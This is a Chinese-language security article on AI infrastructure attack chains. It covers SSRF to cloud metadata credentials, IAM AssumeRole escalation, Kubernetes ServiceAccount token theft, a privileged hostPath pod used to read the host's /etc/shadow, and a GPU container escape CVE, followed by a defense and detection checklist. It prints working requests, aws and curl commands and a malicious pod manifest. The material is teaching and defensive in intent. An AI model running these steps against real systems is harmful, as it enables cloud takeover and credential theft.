ARTICLE · 1140274

AI 基础设施安全:云、容器与 GPU 逃逸

发布时间：2026-10-08 15:28:15 最近访问：2026-10-08 15:28:16

前几篇的攻击落在模型、Agent、RAG 或供应链上。这篇要写的是更底层的场景：攻击者根本不碰模型，直接从基础设施的配置错误拿走整个环境。一个 SSRF 拿到云账号凭证、一条 IAM 链提权到管理员、一个 Pod 里的 ServiceAccount Token 直接调 K8s API，最后从 GPU 容器逃逸到宿主机。每一步用的都是已有的功能或默认配置，不是漏洞利用。

AI 系统特别容易命中这些问题，原因是它天然把三类高危组件绑在一起：有出站 HTTP 请求能力（URL 抓取、插件调用）、跑在云上且需要 IAM 角色访问存储和模型 API、部署在 K8s 里并挂载 GPU。三者叠加后，攻击面不是加法，是乘法。

一、从 SSRF 到云凭证

AI 服务几乎都有出站 HTTP 能力：Agent 的 web_fetch 工具、RAG 的 URL 入库、Webhook 回调、OpenAPI 插件的远端 schema 加载。攻击者把这些功能的 URL 参数指向云元数据端点，就能拿到当前实例的 IAM 临时凭证。

云厂商的元数据端点

云厂商	端点	版本	鉴权要求
AWS	`http://169.254.169.254/latest/meta-data/`	IMDSv1（默认开放）	无
AWS	同上	IMDSv2	`PUT` + Token header
阿里云	`http://100.100.100.200/latest/meta-data/`	v1	无
GCP	`http://metadata.google.internal/computeMetadata/v1/`	v1	`Metadata-Flavor: Google` header
Azure	`http://169.254.169.254/metadata/instance?api-version=2021-02-01`	—	`Metadata: true` header

IMDSv1 是重灾区：不需要特殊 header，GET 即可。如果目标服务部署在 AWS EC2 上且安全组没拦元数据端点，一条 SSRF 就够了。

场景：一个企业内部 RAG 系统，POST /api/knowledge/import 接受 URL 参数并抓取内容入库。抓取逻辑是 Python requests.get(url)，没有做内网地址过滤。攻击者构造：

POST /api/knowledge/import HTTP/1.1     Host: 10.0.8.21:8080     Content-Type: application/json{”url”: ”http://169.254.169.254/latest/meta-data/iam/security-credentials/”}

响应进入 RAG 的切片管道，返回一个包含角色名的列表：

[”ai-inference-role”]

下一步把角色名拼进路径，拿凭证本体：

POST /api/knowledge/import HTTP/1.1     Host: 10.0.8.21:8080     Content-Type: application/json{”url”: ”http://169.254.169.254/latest/meta-data/iam/security-credentials/ai-inference-role”}

{  ”Code”: ”Success”,  ”AccessKeyId”: ”ASIA3FK7XQJ2MKPNETVQ”,  ”SecretAccessKey”: ”wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY”,  ”Token”: ”IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJGMEQCIH...”,  ”Expiration”: ”2026-10-04T18:30:00Z”}

这三个值组成一组临时 STS 凭证，有效期六小时。有效期内，攻击者在任何有网的地方都能以这个角色调用 AWS API。

检测困难的原因

传统 SSRF 的目标是内网服务，流量模式是「外部 IP → 内部 IP」。云元数据 SSRF 的目标是 169.254.169.254，这个地址不走网关，云平台侧没有访问日志。防守方看到的是：一个外部用户发起了一个正常的 URL 导入请求，RAG 抓取了一个不可路由的 link-local 地址，然后无后续。如果没有在应用层对出站 URL 做过滤和审计，这个请求完全静默。

防御不是加 WAF 规则——攻击者可以用重定向、DNS Rebinding 或 IPv6 映射绕过。结构性修复是在抓取代码里做 URL 解析后白名单：只允许 https:// 协议 + 外部域名，拒绝所有私网/保留 IP 段（169.254.0.0/16、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、100.64.0.0/10、fd00::/8）。再在基础设施层启用 IMDSv2 并设 HttpTokens=required、HttpPutResponseHopLimit=1，使容器内的请求无法到达元数据端点。

二、IAM 角色链提升

拿到一组临时凭证后，第一步是搞清楚这个角色能做什么。sts get-caller-identity 不需要任何权限：

AWS_ACCESS_KEY_ID=ASIA3FK7XQJ2MKPNETVQ \AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJGMEQCIH... \aws sts get-caller-identity --output json{  ”UserId”: ”AROA3FK7XQJ2MB7XR2VQI:ai-inference-role”,  ”Account”: ”847362915401”,  ”Arn”: ”arn:aws:sts::847362915401:assumed-role/ai-inference-role/i-0a1b2c3d4e5f”}

拿到 Account ID 和角色名。下一步枚举这个角色的实际权限：

aws iam list-attached-role-policies --role-name ai-inference-rolepython3 enumerate-iam.py \  --access-key ASIA3FK7XQJ2MKPNETVQ \  --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \  --session-token ”IQoJb3JpZ2luX2VjEJj...”

枚举结果可能长这样：

-- S3 --  s3:ListBucket          ✅ (bucket: ai-model-store)  s3:GetObject           ✅ (bucket: ai-model-store)-- SQS --  sqs:SendMessage        ✅ (queue: ai-inference-jobs)-- STS --  sts:AssumeRole         ✅ (role: eks-admin-role)

关键发现是 sts:AssumeRole 被授到了一个更高权限的角色上。AI 推理服务经常需要临时切换角色去拉模型权重或调其他服务，运维就给了它一个 AssumeRole 信任关系——但目标角色可能是管理员级别的。

利用：

aws sts assume-role \  --role-arn arn:aws:iam::847362915401:role/eks-admin-role \  --role-session-name audit-check

{  ”Credentials”: {    ”AccessKeyId”: ”ASIA3FK7XQJ2MQT7WZQ2A”,    ”SecretAccessKey”: ”kP8xRnQmZ5vL3jH9dW2eF4gT7yU1iO6pA0sD9fG”,    ”SessionToken”: ”IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJHMEUCIQ...”,    ”Expiration”: ”2026-10-04T19:30:00Z”  },  ”AssumedRoleUser”: {    ”Arn”: ”arn:aws:sts::847362915401:assumed-role/eks-admin-role/audit-check”  }}

用这组凭证再次 get-caller-identity，确认角色已切换到 eks-admin-role。这个角色如果绑定了 eks:DescribeCluster + eks:ListClusters，就能直接拿到 EKS 集群的 kubeconfig：

aws eks list-clusters --region us-east-1aws eks describe-cluster --name ai-prod-cluster --region us-east-1 \  --query ”cluster.endpoint”aws eks update-kubeconfig --name ai-prod-cluster --region us-east-1

至此，攻击者从一次 SSRF 开始，通过两条 IAM 链（实例角色 → AssumeRole → 集群管理角色），拿到了 K8s 集群的管理员 kubeconfig。全程没有利用任何软件漏洞，每一步都是合法 API 调用。

三、K8s ServiceAccount Token 窃取

即使攻击者没有走到 IAM 链那一步，只要能在任何一个 Pod 里执行命令（比如通过 Agent 的代码执行工具、MCP 服务器的 SSRF 回连、或一次容器内 RCE），ServiceAccount Token 就挂在固定路径上：

cat /var/run/secrets/kubernetes.io/serviceaccount/token

eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1UWkVOelF3TnpFMk9USXpOREE1TlRRd05qYzBNRGM0TlRneU1EWXpOREF4Tnprd056UTBNUSJ9...

同时拿到 CA 证书和 Namespace：

NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crtTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)APISERVER=”https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}”

直接调 API，列出当前 Namespace 的 Pod：

curl -s --cacert ”$CA” \  -H ”Authorization: Bearer $TOKEN” \  ”$APISERVER/api/v1/namespaces/$NS/pods”

{  ”kind”: ”PodList”,  ”items”: [    {      ”metadata”: {”name”: ”inference-7d8f9-abcde”, ”namespace”: ”ai-serving”},      ”spec”: {        ”containers”: [          {”name”: ”model”, ”image”: ”registry.corp.internal/ai/inference:v2.4.1”}        ],        ”serviceAccountName”: ”inference-sa”      }    },    {      ”metadata”: {”name”: ”vector-db-0”, ”namespace”: ”ai-serving”},      ”spec”: {        ”containers”: [          {”name”: ”milvus”, ”image”: ”milvusdb/milvus:v2.4.4”}        ],        ”serviceAccountName”: ”default”      }    }  ]}

如果这个 SA 的 RBAC 绑定里有 get secrets，直接读：

curl -s --cacert ”$CA” \  -H ”Authorization: Bearer $TOKEN” \  ”$APISERVER/api/v1/namespaces/$NS/secrets”

{  ”kind”: ”SecretList”,  ”items”: [    {      ”metadata”: {”name”: ”openai-api-key”},      ”type”: ”Opaque”,      ”data”: {”key”: ”c2stYmxpYmIxMjM0NTY3ODkwYWJjZGVmZ2hpams=”}    },    {      ”metadata”: {”name”: ”registry-credentials”},      ”type”: ”kubernetes.io/dockerconfigjson”,      ”data”: {”.dockerconfigjson”: ”eyJhdXRocyI6...”}    }  ]}

echo ”c2stYmxpYmIxMjM0NTY3ODkwYWJjZGVmZ2hpams=” | base64 -d# sk-blibb1234567890abcdefghijk

一个 OpenAI API key 和私有镜像仓库凭证同时到手。这是最低成本的横向移动：不需要漏洞，K8s 的设计就是把凭证放在 Pod 文件系统里的。

四、RBAC 过度授权与 Sidecar 共享卷

RBAC：最常见的过度授权模式

很多 AI 团队给推理服务的 ServiceAccount 绑了 cluster-admin，理由是「要读 ConfigMap、写 PV、拉镜像，懒得逐个配」。这等于把集群的 root 钥匙挂在了每一个 Pod 里。

典型的危险 RBAC：

kind: ClusterRoleBindingapiVersion: rbac.authorization.k8s.io/v1metadata:  name: inference-admin-bindingsubjects:  - kind: ServiceAccount    name: inference-sa    namespace: ai-servingroleRef:  kind: ClusterRole  name: cluster-admin  apiGroup: rbac.authorization.k8s.io

攻击者拿到这个 SA Token 后，创建一个特权 Pod 把宿主机根文件系统挂进来：

piVersion: v1kind: Podmetadata:  name: debug-shell  namespace: ai-servingspec:  serviceAccountName: inference-sa  hostPID: true  containers:    - name: shell      image: busybox:1.36      command: [”sleep”, ”3600”]      securityContext:        privileged: true      volumeMounts:        - name: host-root          mountPath: /host          readOnly: false  volumes:    - name: host-root      hostPath:        path: /        type: Directory

curl -s --cacert ”$CA” -H ”Authorization: Bearer $TOKEN” \  -H ”Content-Type: application/yaml” \  -X POST ”$APISERVER/api/v1/namespaces/ai-serving/pods” \  --data-binary @debug-shell.yaml

等 Pod 跑起来后 exec 进去读宿主机的 /etc/shadow：

curl -s --cacert ”$CA” -H ”Authorization: Bearer $TOKEN” \  -X POST ”$APISERVER/api/v1/namespaces/ai-serving/pods/debug-shell/exec?command=cat&command=/host/etc/shadow&container=shell”

从这一刻起，攻击者持有宿主机 root 权限。Node 上所有 Pod 的环境变量（包含数据库连接串、API Key）、所有 SA Token、所有挂载的 Secret 都能读。

Sidecar 共享卷：间接渗透

不是每个 Pod 都给了 cluster-admin。更常见的场景是：Pod 里跑了两个容器——主应用和 Sidecar（日志采集、监控代理、Istio Envoy），它们共享一个 emptyDir 卷：

spec:  containers:    - name: inference      image: registry.corp.internal/ai/inference:v2.4.1      volumeMounts:        - name: shared-data          mountPath: /app/data    - name: log-sidecar      image: registry.corp.internal/infra/log-agent:v1.2      volumeMounts:        - name: shared-data          mountPath: /var/log/app  volumes:    - name: shared-data      emptyDir: {}

如果 Sidecar 容器被攻破（第三方镜像有漏洞、版本过老、配置不当），攻击者在 Sidecar 里可以读写 /var/log/app，即 /app/data——主容器的工作目录。如果这个目录里有模型缓存、session 文件或临时写入的 API 调用日志，攻击者不需要碰主容器就能拿到数据。

反过来也成立：如果主容器的模型加载逻辑会从共享卷里热更新文件（例如定时加载新的 LoRA 适配器），攻击者在 Sidecar 里写一个恶意 .pt 到这个目录，下一次热加载就触发反序列化 RCE——010 写的供应链投毒在这里变成了基础设施层的攻击路径。

五、GPU 容器逃逸：CVE-2025-23266

AI 推理容器和普通容器的区别在于 GPU 设备的挂载。K8s 里 GPU Pod 由 NVIDIA GPU Operator 管理，底层用 NVIDIA Container Toolkit 在容器创建时把 /dev/nvidia* 设备和驱动库注入容器。这个注入过程通过 OCI hook 机制实现——createContainer 和 prestart 钩子在宿主机上以 root 权限执行。

CVE-2025-23266（CVSS 9.0 Critical，AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H）出在这个 hook 链上：攻击者如果能控制容器的 OCI spec 中传给 hook 的环境变量或参数，就能让 hook 在宿主机上执行任意命令。

利用条件

这个漏洞不是从容器内直接触发——需要攻击者能影响容器创建时的配置。在 K8s 场景里，等价于：

拥有某个 Namespace 内 create pods 的 RBAC 权限
节点安装了受影响版本的 NVIDIA Container Toolkit（≤ 1.17.7）或 GPU Operator（≤ 25.3.0）
创建的 Pod 调度到有 GPU 的节点上

上一节写的 cluster-admin 或 create pods 过度授权，正好满足条件 1。

修复状态

项目	受影响版本	修复版本
NVIDIA Container Toolkit	≤ 1.17.7	≥ 1.17.8
NVIDIA GPU Operator	≤ 25.3.0	≥ 25.3.1

截至写作时的最新稳定版是 Container Toolkit 1.20.1（2026-09-19 发布），修复已合入超过一年。但大量集群的 GPU Operator 是部署时锁定的版本，之后没有跟进升级。

怎么检查自己是否受影响

在 GPU 节点上执行：

nvidia-ctk --version# 输出 ≤ 1.17.7 → 受影响kubectl get pods -n gpu-operator -l app=nvidia-operator-validator \  -o jsonpath='{.items[0].spec.containers[0].image}'# 镜像 tag 对应的 Operator 版本 ≤ 25.3.0 → 受影响

攻击在整体链路中的位置

回到前面的攻击链：SSRF → IAM 凭证 → AssumeRole 提权 → EKS kubeconfig → create pods → 构造恶意 Pod → NVIDIA Container Toolkit hook 在宿主机以 root 执行。最后一步拿到了节点级别的 root shell，不只是容器内权限。有了宿主机 root，可以读取该节点上所有 Pod 的内存、网络流量、文件系统——包括其他 Namespace 里的数据库 Pod 和 Sidecar。

即使整条 IAM 链没有打通，攻击者只要通过任何手段拿到一个 create pods 权限的 SA Token（上一节的 Token 窃取路径），再叠加这个 CVE，就能从容器内走到宿主机。这两条路径是独立的，防御必须同时覆盖。

汇总：攻击链各环节的比较

环节	需要的前提	利用的机制	拿到的权限	检测难度
SSRF → 元数据	出站 HTTP + 无 URL 过滤	云元数据 API	实例角色临时凭证	高（无网络层日志）
IAM AssumeRole	枚举到信任关系	权限设计错误	更高权限角色	中（CloudTrail 有记录）
K8s SA Token	Pod 内代码执行	K8s 设计（Token 挂载）	SA 对应的 RBAC 权限	低（文件读取无告警）
RBAC 提权	SA 有 `create pods`	RBAC 过度授权	集群内任意 Pod 操作	中（API 调用可审计）
GPU 容器逃逸	`create pods` + 旧版 Toolkit	OCI hook 注入	宿主机 root	低（hook 执行无 K8s 告警）

防御清单

SSRF

出站 URL 在代码层做协议 + 目标地址白名单，解析后拒绝所有 RFC 1918 / link-local / ULA 地址段。
AWS EC2 启用 IMDSv2（HttpTokens=required），HttpPutResponseHopLimit=1，容器内请求无法到达元数据端点。
GCP / Azure 关闭不需要的元数据字段，或通过网络策略限制。

IAM

最小权限：AI 推理角色的策略只包含它实际需要的 S3 读、SQS 收发。禁止 *。
审计所有 sts:AssumeRole 信任关系：用 IAM Access Analyzer 找出外部可 assume 的角色，确认每一对关系都有业务理由。
不要把高权限角色（如 EKS 管理角色）信任给低权限角色。用单独的跳板角色 + 临时提升流程替代。

K8s

SA Token 自动挂载关闭：不需要调 K8s API 的 Pod 加 automountServiceAccountToken: false。这是最高性价比的单条配置。
RBAC 按 Namespace 拆分，只用 Role 不用 ClusterRole（除非确实需要跨 Namespace）。禁止 cluster-admin 绑定给 ServiceAccount。
Pod Security Standards 限制 privileged: true、hostPID: true、hostPath 挂载。
NetworkPolicy 限制 Pod 到 K8s API Server 的访问（除非确实需要）。

GPU / Container Toolkit

升级 NVIDIA Container Toolkit ≥ 1.17.8、GPU Operator ≥ 25.3.1（CVE-2025-23266）。
在 CI 里加一条版本检查：GPU Operator 部署清单中的镜像版本低于修复版本则构建失败。
用 CDI 模式替代 legacy 模式（NVIDIA 推荐），减少 hook 攻击面。

Sidecar

Sidecar 镜像和主镜像一样走漏洞扫描和版本管理。
共享卷内不放敏感文件：session 数据、临时 API 日志、模型缓存用独立卷或 PVC，不与 Sidecar 共享。
评估是否真的需要 Sidecar——很多日志采集已经可以用 DaemonSet + hostPath 替代。

检测

CloudTrail 里监控 AssumeRole 事件的异常模式：同一凭证短时间内 assume 多个不同角色。
K8s API 审计日志监控：从 SA Token 发起的 create pods（特别是带 privileged securityContext 的）、get secrets、exec。
在 GPU 节点上监控 nvidia-container-runtime-hook 的执行参数是否包含非预期的命令或路径。